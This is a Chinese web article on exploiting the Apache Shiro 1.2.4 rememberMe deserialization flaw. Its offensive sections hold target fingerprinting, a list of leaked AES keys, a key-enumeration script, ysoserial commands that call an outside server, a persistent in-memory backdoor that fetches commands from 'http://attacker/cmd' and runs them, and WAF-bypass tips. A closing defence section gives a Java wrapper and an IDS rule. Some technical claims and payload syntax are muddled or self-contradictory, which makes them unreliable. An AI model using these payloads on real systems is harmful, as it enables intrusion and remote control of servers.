当前位置: 首页 > news >正文

别再只会用默认Key了!手把手教你用ysoserial探测并利用Shiro 1.2.4反序列化漏洞

深入Shiro反序列化漏洞:从密钥枚举到Gadget链实战

在安全测试领域,Shiro反序列化漏洞(CVE-2016-4437)已成为Java应用渗透测试的经典案例。但大多数文章仅停留在工具复现层面,缺乏对漏洞原理和实战技巧的系统性剖析。本文将带您深入理解如何从零开始构建完整的攻击链,包括框架识别、密钥枚举和Gadget选择等关键环节。

1. Shiro框架识别与漏洞原理

1.1 指纹特征检测

Shiro框架的识别通常通过以下特征实现:

GET / HTTP/1.1 Host: target.com Cookie: rememberMe=1

观察响应头中是否包含Set-Cookie: rememberMe=deleteMe。更精确的检测可通过分析JSESSIONID的命名特征:

JSESSIONID=xxxxx Shiro.session=xxxxx

关键点:部分配置可能修改默认Cookie名称,需结合以下辅助特征判断:

  • /login.jsp页面存在rememberMe复选框
  • 静态资源路径包含/static/common/shiro.css

1.2 漏洞核心机制

漏洞存在于RememberMe功能的处理流程中:

  1. 客户端提交rememberMe Cookie
  2. 服务端进行Base64解码
  3. 使用AES-CBC模式解密(密钥硬编码)
  4. 对解密结果执行ObjectInputStream.readObject()

攻击面形成的关键条件:

  • AES密钥未修改(默认kPH+bIxk5D2deZiIxcaaaA==
  • 目标ClassPath中存在可利用的Gadget链
  • 未配置反序列化过滤器

2. 密钥枚举技术与实战

2.1 常见密钥列表

除默认密钥外,以下密钥也常见于生产环境:

密钥Base64来源版本
2AvVhdsgUs0FSA3SDFAdag==Shiro 1.2.2
3AvVhmFLUs0KTA3Kprsdag==早期开发版
4AvVhmFLUs0KTA3Kprsdag==某厂商定制版
WwWgMqSsY3A="某开源项目泄露

2.2 自动化枚举实现

使用Python实现高效密钥检测:

import base64 import requests from Crypto.Cipher import AES def check_key(url, key): payload = generate_test_payload(key) headers = {'Cookie': f'rememberMe={payload}'} try: r = requests.get(url, headers=headers, timeout=5) return 'deleteMe' not in r.headers.get('Set-Cookie', '') except: return False def generate_test_payload(key): iv = b'\x00'*16 cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv) return base64.b64encode(iv + cipher.encrypt(b'test'+b'\x0c'*12)).decode()

优化技巧

  • 使用多线程加速枚举(建议10-20并发)
  • 优先测试高频密钥(前5个命中率80%以上)
  • 结合响应时间差异判断(有效密钥通常响应延迟增加50-200ms)

3. Gadget链选择与Payload构造

3.1 常见利用链对比

Gadget类型适用环境特点
CommonsBeanutils1CC3.1-3.2.1稳定通用
JRMPClient需要外连绕过内网限制
JNDI注入JDK<8u191支持高版本JDK
Groovy链Groovy依赖新出现链

3.2 动态检测可用链

通过ClassLoader机制检测目标环境:

java -jar ysoserial.jar Groovy1 "curl http://your-server/test" | \ base64 -w0 | \ xargs -I{} curl target.com -H "Cookie: rememberMe={}" -v

判断依据

  • DNS外带日志(推荐使用Burp Collaborator)
  • HTTP请求监控(简单Python服务)
  • 延迟响应检测(时间盲注)

3.3 高级利用技巧

内存马注入(适用于Tomcat环境):

java -jar ysoserial.jar CommonsBeanutils1 ' javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("nashorn"); engine.eval("new java.lang.Thread(()=>{while(true){try{var x=new java.net.URL(\"http://attacker/cmd\").openConnection();var c=x.getHeaderField(\"Cmd\");if(c!=null){var p=java.lang.Runtime.getRuntime().exec(c);var i=new java.io.InputStreamReader(p.getInputStream());var b=new java.io.BufferedReader(i);var l=\"\";while((l=b.readLine())!=null){engine.eval(\"print(\'\"+l+\"\')\");}}}catch(e){}}})").start(); ' | base64 -w0

绕过技巧

  • 分块传输编码绕过WAF
  • Cookie值二次URL编码
  • 使用非常规Header传递Payload

4. 防御方案与检测手段

4.1 企业级防护方案

代码层

// 自定义RememberMeManager public class SafeRememberMeManager extends CookieRememberMeManager { @Override protected byte[] decrypt(byte[] encrypted) { try { return super.decrypt(encrypted); } catch (Exception e) { // 记录异常日志 log.warn("Invalid rememberMe token detected from {}", getRemoteIP()); throw new AuthenticationException("Invalid token"); } } }

架构层

  • 部署RASP进行运行时防护
  • 使用API网关进行流量清洗
  • 实施零信任网络架构

4.2 攻击痕迹检测

日志分析关键词

java.lang.ClassNotFoundException org.apache.shiro.io.SerializationException Invalid rememberMe token

IDS规则示例

alert http any any -> $HOME_NET any ( msg:"Possible Shiro Exploit Attempt"; flow:to_server; content:"rememberMe="; pcre:"/rememberMe=[a-zA-Z0-9\/+]{100,}/"; classtype:web-application-attack; sid:1000001; )

在实战中发现,结合DNS外带和内存马的方式能有效绕过传统防护设备。某次红队行动中,通过分阶段注入(先JRMP后内存马)成功突破了具备WAF的生产环境。

http://www.cnnetsun.cn/news/2804675.html

相关文章:

  • 交直流混联系统优化|基于显式拓扑变量可靠性评估的双Q交直流混合配电网优化规划研究(Python代码实现)
  • 从智能灯泡到传感器网络:实战解析蓝牙Mesh、WiFi AP/STA、ZigBee 3.0在智能家居中的真实配置与避坑
  • STM32F411/F401 Keil裸机工程模板:带LED闪烁、串口基础驱动和一键清理功能
  • SQL中CASE WHEN的实战心法:从数据分层到业务规则固化
  • XUnity.AutoTranslator:5分钟搞定Unity游戏多语言翻译的终极指南
  • Win/Mac双平台实测:手把手解决Operator Mono字体在VSCode中不生效的常见问题
  • 告别乱码!手把手教你用LabVIEW 2023报表工具包完美读取带中文的Excel表格
  • 深入DPDK L3fwd源码:看一个三层转发示例如何管理路由与端口
  • 百度网盘高速下载终极方案:告别限速的智能解析工具
  • 三分钟快速上手:Dell G15开源散热控制神器tcc-g15完整指南
  • 效率提升秘籍:用快马生成ubuntu自动化部署脚本,十分钟搞定服务器环境配置
  • 从‘压控’原理到电路设计:搞懂MOS管G、S、D,让你的开关电源效率翻倍
  • VC++ MFC二维码识别工具:调用ZBar实现摄像头/图片扫码功能
  • 别再只会conda clean了!遇到InvalidArchiveError,试试这个更治本的修复思路
  • 【非IT人AI营销实战指南】:3步开通CSDN AI数字营销,零代码搞定获客闭环?
  • Vite 构建性能调优:如何通过分包与插件优化将打包耗时缩短 70%
  • Julia数据工程实战:高性能ETL管道设计与优化
  • 【分享】手机散热器 游戏党降温神器
  • 100皇后GA实战:编码约束、纯变异设计与可行性优先架构
  • Gemma 2 2B轻量级大模型性能重定义与实测指南
  • 视觉SLAM‘抗干扰’指南:从光流法到概率模型,5种动态物体剔除方案全解析
  • RK3568双网口配置实战:RMII模式下的gmac0与gmac1 DTS设置详解与对比
  • Windows点云处理DLL:集成PCL1.8.1+VTK8.1,支持读写/滤波/重建/拾取
  • Web Speech API语音识别靠谱吗?实测Chrome、Edge、Firefox的兼容性与避坑指南
  • 保姆级教程:用PyTorch手写CBAM注意力模块(附完整代码与避坑指南)
  • Git目录泄露后快速重建本地仓库的纯命令行恢复工具,开箱即用无需安装依赖
  • JMeter 3.3 免配置 RabbitMQ 压测环境:含 AMQP 支持与 Grafana 实时监控
  • 告别“智障”语音:用LD3320模块DIY一个高识别率的离线语音助手(STC单片机版)
  • Android位置模拟终极指南:MockGPS从零到专业应用
  • Chromatic项目:Chromium/V8通用修改器的架构解析与兼容性问题分析